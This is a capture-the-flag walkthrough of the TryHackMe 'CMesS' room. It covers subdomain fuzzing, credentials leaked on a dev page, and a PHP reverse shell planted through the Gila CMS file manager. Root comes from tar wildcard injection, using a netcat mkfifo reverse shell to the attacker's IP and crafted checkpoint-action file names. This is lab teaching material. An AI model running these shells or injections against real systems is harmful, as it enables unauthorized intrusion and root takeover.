> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/writeups/tryhackme/linux/cmess.md).

# CMesS

https\://tryhackme.com/room/cmess

## Nmap

```
sudo nmap 10.10.150.164 -p- -sS -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 
(Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% hint style="info" %}
Add cmess.thm to /etc/hosts
{% endhint %}

Root page for <http://cmess.thm> takes us to the following for Gila CMS.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f72087ff7725803da7af5db8d249663b6971e7bf%2Fimage.png?alt=media)

I was unable to accurately determine the version so tried a few of the available exploits and was unsuccessful in making any progress. Further directory enumeration did not provided any further results of value.

From here I attempted sub domain brute forcing with `wfuzz` to help identify any other avenues of exploitation.

```
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://cmess.thm" -H "Host: FUZZ.cmess.thm" -t 42 --hl 107 
```

This showed that the 'dev' subdomain is valid.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-77b91e87f35db4b6bddfa2c5683103646e0f7a5f%2Fimage.png?alt=media)

{% hint style="info" %}
add the dev.cmess.thm domain to /etc/hosts.
{% endhint %}

Browsing to <http://dev.cmess.thm> shows the following page which contains user credentials:

![http://dev.cmess.thm/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cdb23f368fb228bfe1d55520772949ab4d99dcfd%2Fimage.png?alt=media)

Moving over to <http://cmess.thm/admin/> we are then able to login as the user.

![http://cmess.thm/admin/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7c0d51e2a2e93387f0dcfed907686a687a7c8e03%2Fimage.png?alt=media)

Moving over to the /fm/ directory we have some files we can view and edit the contents of. The contents of config.default.php contain some important credentials. `root:r0otus3rpassw0rd`

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4051d8fe065eb1878557a7c3714684a90af41dcf%2Fimage.png?alt=media)

For a reverse shell I replaced the contents of config.php with a PHP reverse shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-bb9726834de192c213baf7ab8fb89a3eb35c842f%2Fimage.png?alt=media)

After saving changes I then browsed to <http://cmess.thm/index.php> and was able to receive a shell on my `netcat` listener.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7d5cc8ae91b0cc8c8e9d0cfbe614db42a0fa27a8%2Fimage.png?alt=media)

After performing some manual enumeration we find a .password.bak file in the /opt/ directory containing the password for andres.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c570b3d5b5a7e1ea2261f2c2681fbe570bbc9f8c%2Fimage.png?alt=media)

Which can be used to login over SSH.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c9c59b318a527a03dd9b51249c0593800a59b60b%2Fimage.png?alt=media)

The home directory for andres has a directory called backup. Reading the note contained within informs us anything inside it will be backed up.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-828940d51c477b8788da1c2727a3c362cbe2e544%2Fimage.png?alt=media)

Assuming a process is being executed on a regular interval we can run psp64 (downloaded from our attacking machine) to identify processes being run.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b795973d1e88e132a405c641c5bb74b1195b3cad%2Fimage.png?alt=media)

We can see our pspy64 file has already been backed up. Directly underneath we can see the command being executed.

```
/bin/sh -c    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz * 
```

As the tar command ends in a wild card we can perform injection to grab a root shell. This is covered in greater details here: <https://www.exploit-db.com/papers/33930>.

Essentially when the tar command runs we can specify a checkpoint and a action to be performed by that checkpoint. As the process is being executed by root this leads to privilege escalation.

I first confirmed `nc` was installed on the target machine using `which nc`. I then used msfvenom to create a `netcat` payload.

```
cmd/unix/reverse_netcat LHOST=10.14.3.108 LPORT=80  
```

I then run the following commands inside the backup directory ensuring the msfvenom payload is included. After this has completed set a `netcat` listener on the attacking machine.

```
echo "mkfifo /tmp/tjbtd; nc 10.14.3.108 80 0</tmp/tjbtd | /bin/sh >/tmp/tjbtd 2>&1; rm /tmp/tjbtd" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
chmod 777 shell.sh
```

Soon after the backup job will run again and we will land a root shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f108ea796ec80a5f5f297ffa3d50960bfcd00875%2Fimage.png?alt=media)